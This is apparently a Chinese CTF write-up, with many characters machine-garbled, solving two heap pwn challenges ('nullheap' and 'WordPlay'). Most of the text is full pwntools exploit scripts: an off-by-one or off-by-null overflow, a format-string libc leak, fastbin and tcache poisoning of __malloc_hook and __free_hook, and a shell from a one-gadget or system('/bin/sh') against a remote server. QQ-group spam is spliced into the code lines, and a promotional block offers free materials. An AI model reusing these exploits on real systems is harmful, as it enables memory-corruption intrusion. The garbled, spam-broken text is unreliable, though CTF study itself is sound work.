共计 8049 个字符,预计需要花费 21 分钟才能阅读完成。
nullheap
程序剖析
Add()
Delete
很失常的 delete
思路
offset by one, 简略的破绽, 还能够泄露地址
确定下 libc 版本
利用 offset by one 溢出一个批改一个 chunksize 为 0x90, 而后开释他,
如果是 2.23 的那么就会触发向前合并, 引发谬误, 如果是 2.27 就会间接进入 tcache, 不会报错
依据 libc 地址确定是 libc2.23-UB1.3
泄露地址
格式化字符串泄露地址
任意写
UB 隔块合并打 fastbin, 利用 0x7F 伪造 size, 而后 realloc 调栈, OGG
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
def Log(name):
log.success(name+'='+hex(eval(name)))
if(len(sys.argv)==1): #local
sh = process('./pwn')
print(sh.pid)
raw_input() +QQ 君样:581499282 一起吹水聊天
#proc_base = sh.libs()['/home/parallels/pwn']
else: #remtoe
sh = remote('114.215.144.240', 11342)
def Num(n):
sh.sendline(str(n))
def Cmd(n):
sh.recvuntil('Your choice :')
sh.send(str(n).ljust(4, '\x00'))
def Add(idx, size, cont):
Cmd(1)
sh.recvuntil('Where?')
sh.send(str(idx).ljust(0x30, '\x00'))
sh.recvuntil('Big or small??')
sh.send(str(size).ljust(0x8, '\x00'))
sh.recvuntil('Content:')
sh.send(cont)
def Free(idx):
Cmd(2)
sh.recvuntil('Index:')
sh.send(str(idx).ljust(6, '\x00'))
Add(0, 0x20, '%15$p')
sh.recvuntil('Your input:')
libc.address = int(sh.recv(14), 16)-0x20840
Log('libc.address')
Add(0, 0x90, 'A'*0x90)
Add(1, 0x60, 'B'*0x60)
Add(2, 0x28, 'C'*0x28)
Add(3, 0xf0, 'D'*0xF0)
Add(4, 0x38, '/bin/sh\x00')
Free(0) #UB<=>A
Free(2) #Fastbin->C
Add(2, 0x28, 'C'*0x20+flat(0x140)+'\x00')
Free(3) #UB<=>(A, B, C, D)
#Fastbin Attack
Free(1)
exp = 'A'*0x90
exp+= flat(0, 0x71)
exp+= flat(libc.symbols['__malloc_hook']-0x23)
Add(6, len(exp), exp) #Fastbin->B->Hook
Add(7, 0x60, 'B'*0x60)
exp = '\x00'*(0x13-0x8)
exp+= p64(libc.address+0x4527a)
exp+= p64(libc.symbols['realloc'])
Add(8, 0x60, exp)
Cmd(1)
sh.recvuntil('Where?')
sh.send(str(9).ljust(0x30, '\x00'))
sh.recvuntil('Big or small??')
sh.send(str(0x70).ljust(0x8, '\x00'))
sh.interactive()+QQ 君样:581499282 一起吹水聊天
'''
ptrarray: telescope 0x2020A0+0x0000555555554000 16
printf: break *(0xE7C+0x0000555555554000)
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
总结
要留神多种破绽的组合, 一开始就没留神到格式化字符串破绽, 绕了些远路
2.23 下 free 时的合并操作, 没有查看 prev_size 与前一个 chunk 的 size, 因而能够通过原本就在 Bin 中的 chunk 绕过 UB 0x7F 伪造 size, 打 malloc_hook, 最初通过 realloc_hook 调整栈帧满足 OGG 条件, 惯例思路
WordPlay
逆向
sub_9BA()这个函数有问题, 无奈 F5
万恶之源是 sub rsp 时调配的栈空间太大了, 理论基本没用这么多
尝试间接 patche 程序
[addr]
>>> HEX(asm('mov [rbp-0x3d2c88], rdi'))
0x48 0x89 0xbd 0x78 0xd3 0xc2 0xff
>>> HEX(asm('mov [rbp-0x000c88], rdi'))
0x48 0x89 0xbd 0x78 0xf3 0xff 0xff
lea 指令
>>> HEX(asm('lea rax, [rbp-0x3D2850]'))
0x48 0x8d 0x85 0xb0 0xd7 0xc2 0xff
>>> HEX(asm('lea rax, [rbp-0x000850]'))
0x48 0x8d 0x85 0xb0 0xf7 0xff 0xff
sub 指令
>>> HEX(asm('sub rsp, 0x3d2c90'))
0x48 0x81 0xec 0x90 0x2c 0x3d 0x0
>>> HEX(asm('sub rsp, 0xc90'))
0x48 0x81 0xec 0x90 0xc 0x0 0x0
memset 的 n 参数
>>> HEX(asm('mov edx, 0x3d2844'))
0xba 0x44 0x28 0x3d 0x0
>>> HEX(asm('mov edx, 0x000844'))
0xba 0x44 0x8 0x0 0x0
>>> HEX(asm('sub rax, 0x3d2850'))
0x48 0x2d 0x50 0x28 0x3d 0x0
>>> HEX(asm('sub rax, 0x000850'))
0x48 0x2d 0x50 0x8 0x0 0x0 ```
0xd3 0xc2 => 0xF3 0xFF
from ida_bytes import get_bytes, patch_bytes
import re
addr = 0x9C5
end = 0xD25
buf = get_bytes(addr, end-addr)
'''pattern = r"\xd3\xc2"patch ='\xF3\xff'buf = re.sub(pattern, patch, buf)'''
pattern = r"\xd7\xc2"
patch = '\xF7\xff'
buf = re.sub(pattern, patch, buf)
patch_bytes(addr, buf)
print("Done")
不胜利, 间接改 gihra 逆向
char * FUN_001009ba(char *param_1,int param_2)
{
uint uVar1;
long lVar2;
long in_FS_OFFSET;
char *pcVar3;
int iVar4;
int iVar5;
int iVar6;
int iVar7;
lVar2 = *(long *)(in_FS_OFFSET + 0x28);
if (1 < param_2) {memset(&stack0xffffffffffc2d3a8,0,0x400);
iVar4 = 0;
while (iVar4 < param_2) {uVar1 = (int)param_1[iVar4] & 0xff;
*(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4) =
*(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4) + 1;
if (0xe < *(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4)) {
param_1 = s_ERROR_00302010;
goto LAB_00100d10;
}
iVar4 = iVar4 + 1;
}
memset(&stack0xffffffffffc2d7a8,0,0x3d2844);
iVar4 = 1;
while (iVar4 < param_2) {*(undefined4 *)(&stack0xffffffffffc2d7a8 + (long)iVar4 * 0xfa8) = 1;
*(undefined4 *)(&stack0xffffffffffc2d7a8 + ((long)(iVar4 + -1) + (long)iVar4 * 0x3e9) * 4) = 1
;
iVar4 = iVar4 + 1;
}
iVar5 = 0;
iVar6 = 0;
iVar4 = 2;
while (iVar4 <= param_2) {
iVar7 = 0;
while (iVar7 < (param_2 - iVar4) + 1) {if (((param_1[iVar7] == param_1[iVar7 + iVar4 + -1]) &&
(*(int *)(&stack0xffffffffffc2d7a8 +
((long)(iVar7 + iVar4 + -2) + (long)(iVar7 + 1) * 0x3e9) * 4) != 0)) &&
(*(undefined4 *)
(&stack0xffffffffffc2d7a8 + ((long)(iVar7 + iVar4 + -1) + (long)iVar7 * 0x3e9) * 4) = 1
, iVar6 < iVar4 + -1)) {
iVar6 = iVar4 + -1;
iVar5 = iVar7;
}
iVar7 = iVar7 + 1;
}
iVar4 = iVar4 + 1;
}
pcVar3 = param_1;
param_1 = (char *)malloc((long)param_2);
iVar4 = 0;
while (iVar4 <= iVar6) {param_1[iVar4] = pcVar3[iVar5];
iVar4 = iVar4 + 1;
iVar5 = iVar5 + 1;
}
param_1[iVar4] = '\0';
}
LAB_00100d10:
if (lVar2 == *(long *)(in_FS_OFFSET + 0x28)) {return param_1;+QQ 君样:581499282 一起吹水聊天}
/* WARNING: Subroutine does not return */
__stack_chk_fail();}
丑化一下
char *PalyFunc(char *input, int len)
{
uint ch;
long canary;
long in_FS_OFFSET;
char *_input;
int i;
int start;
int end;
int iVar7;
canary = *(long *)(in_FS_OFFSET + 0x28);
if (1 < len)
{
// 统计字符
int char_cnt[0x100];
memset(char_cnt, 0, 0x400);
int i = 0;
while (i < len)
{ch = (int)input[i];
char_cnt[ch]++;
if (0xe < char_cnt[ch]) // 字符最大不超过 14 个
{
input = "ERROR";
goto ret;
}
i++;
}
int buf2[1000][0x3ea];
memset(&buf2, 0, 0x3d2844);
int j = 1;
while (j < len)
{buf2[j][0] = 1;
buf2[j][-1] = 1;
j++;
}
start = 0;
end = 0;
int k = 2;
while (k <= len)
{
int m = 0;
while (m < (len - k) + 1)
{if ((input[m] == input[m + k + -1]) &&
(buf2[m + 1][k - 2 - 1] != 0) &&
(buf2[m][k - 1] = 1, end < k - 1))
{end = k - 1; //max(end) = max(k) -1 = len -1
start = m;
}
m = m + 1;
}
k++;
}
_input = input;
input = (char *)malloc((long)len);
i = 0;
while (i <= end)
{input[i] = _input[start];
i++;
start = start + 1;
}
input[i] = '\0'; //i=end+1
}
ret:
if (canary == *(long *)(in_FS_OFFSET + 0x28))
{return input;}
__stack_chk_fail();}
49 行的循环感觉很奇怪, py 模仿找下法则
Len = 0x18+QQ 君样:581499282 一起吹水聊天
k = 2
while(k<=Len):
m=0
print("k=%d"%(k))
while(m<(Len-k)+1):
print("\tinput[%d]==input[%d]"%(m, m+k-1))
m+=1
print(' ')
k+=1
发现是个反复字符串相干的
破绽
最初 input[i] =‘\0’; 时有一个 offset by null
循环完结时, i=end+1
end=k-1, 因而 max(end) = max(k)-1
k 最大 = len
综上, i 最大为 len, 溢出
接下来就是漫漫结构路, 因为算法间接逆不进去, 就只能凭感觉去 fuzz, 最终测试进去发现回文串时, 能够让 k =len
思路
所以此时题目就和 Play 无关了, Play 只是提供了一个 offset by null 而已
题目就变成了 2.27 下的 offset by null
惯例手法: 踩掉 P 标记, 结构隔块合并, 而后接触 Tcache
Play 去踩 P 标记时没法伪造 size, 解决办法:
踩完之后 free 掉, 再通过 Add 申请写入数据, 就能够在保留 P = 0 的前提下, 伪造 prev_size 了
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
def Log(name):
log.success(name+'='+hex(eval(name)))
if(len(sys.argv)==1): #local
sh = process('./pwn')
#proc_base = sh.libs()['/home/parallels/pwn']
else: #remtoe
sh = remote('114.215.144.240', 41699)
def Num(n):
sh.sendline(str(n))
def Cmd(n):
sh.recvuntil('>>>')
Num(n)
def Add(size, cont):
Cmd(1)
sh.recvuntil('Input len:\n')
Num(size)
sh.recvuntil('Input content:\n')
sh.send(cont)
def Delete(idx):
Cmd(2)
sh.recvuntil('Input idx:\n')
Num(idx)
def Play(idx):
Cmd(3)
sh.recvuntil('Input idx:\n')
Num(idx)
#chunk arrange
for i in range(9):
Add(0xF0, str(i)*0xF0)
Add(0x20, 'A'*0x20)
Add(0x18, 'ABCCBA'*0x4)
Add(0x18, 'C'*0x18)
Add(0xF0, 'D'*0xF0)+QQ 君样:581499282 一起吹水聊天
Add(0x20, 'gap')
#leak libc addr
for i in range(9):
Delete(i) #UB<=>(C7, C8)
for i in range(7):
Add(0xF0, 'A'*0xF0)
Add(0xF0, 'A'*8) #get chunk C7
Play(7)
sh.recvuntil('Chal:\n')
sh.recvuntil('A'*8)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3ebe90
Log('libc.address')
#offset by null
for i in range(8): #UB<=>(C7, C8)
Delete(i)
Delete(11)
Play(10)
#forge fake size
Delete(10)
Add(0x18, flat(0, 0, 0x270))
Delete(12) #UB<=>(C7, C8, ..., A, B, C, D)
#tcache attack
Delete(9)
exp = '\x00'*0x1F0
exp+= flat(0, 0x31)
exp+= p64(libc.symbols['__free_hook']-0x8) #ChunkA's fd
Add(len(exp), exp) #Tcache[0x30]->Chunk A->hook
Add(0x20, '\x00'*0x20)
exp = '/bin/sh\x00'
exp+= p64(libc.symbols['system'])
Add(0x20, exp)
#getshell
Delete(3)
#gdb.attach(sh, '''
#telescope (0x202100+0x0000555555554000) 16
#heap bins
#''')
sh.interactive()
'''
ResArr: telescope (0x202040+0x0000555555554000)
PtrArr: telescope (0x202100+0x0000555555554000)
flag{w0rd_Pl4y_13_vu1ner4bl3}
'''
看到这里的大佬,动动发财的小手 点赞 + 回复 + 珍藏,能【关注】一波就更好了
我是一名浸透测试工程师,为了感激读者们,我想把我珍藏的一些 CTF 夺旗赛干货奉献给大家,回馈每一个读者,心愿能帮到你们。
干货次要有:
①1000+CTF 历届题库(支流和经典的应该都有了)
②CTF 技术文档(最全中文版)
③我的项目源码(四五十个乏味且经典的练手我的项目及源码)
④ CTF 大赛、web 平安、浸透测试方面的视频(适宜小白学习)
⑤ 网络安全学习路线图(辞别不入流的学习)
⑥ CTF/ 浸透测试工具镜像文件大全
⑦ 2021 密码学 / 隐身术 /PWN 技术手册大全
各位朋友们能够关注 + 评论一波 而后点击下方 即可收费获取全副材料
→【材料获取】←
总结
本题最外围的中央在与逆向的过程, 更偏差实在环境, 咱们不可能也不须要弄明确每一条指令, 弄清楚什么操作会导致什么成果即可, 这个操作的粒度能够大一些
在本题中 PlayFunc()函数在找破绽时, 只须要关注与 pwn 相干的, 算法相干能够放一放
只用关注 malloc 前面的写入操作是如何定界的
关注怎么循环才能够失去我想要的值
最初就是凭感觉 fuzz 了, 结构非凡样例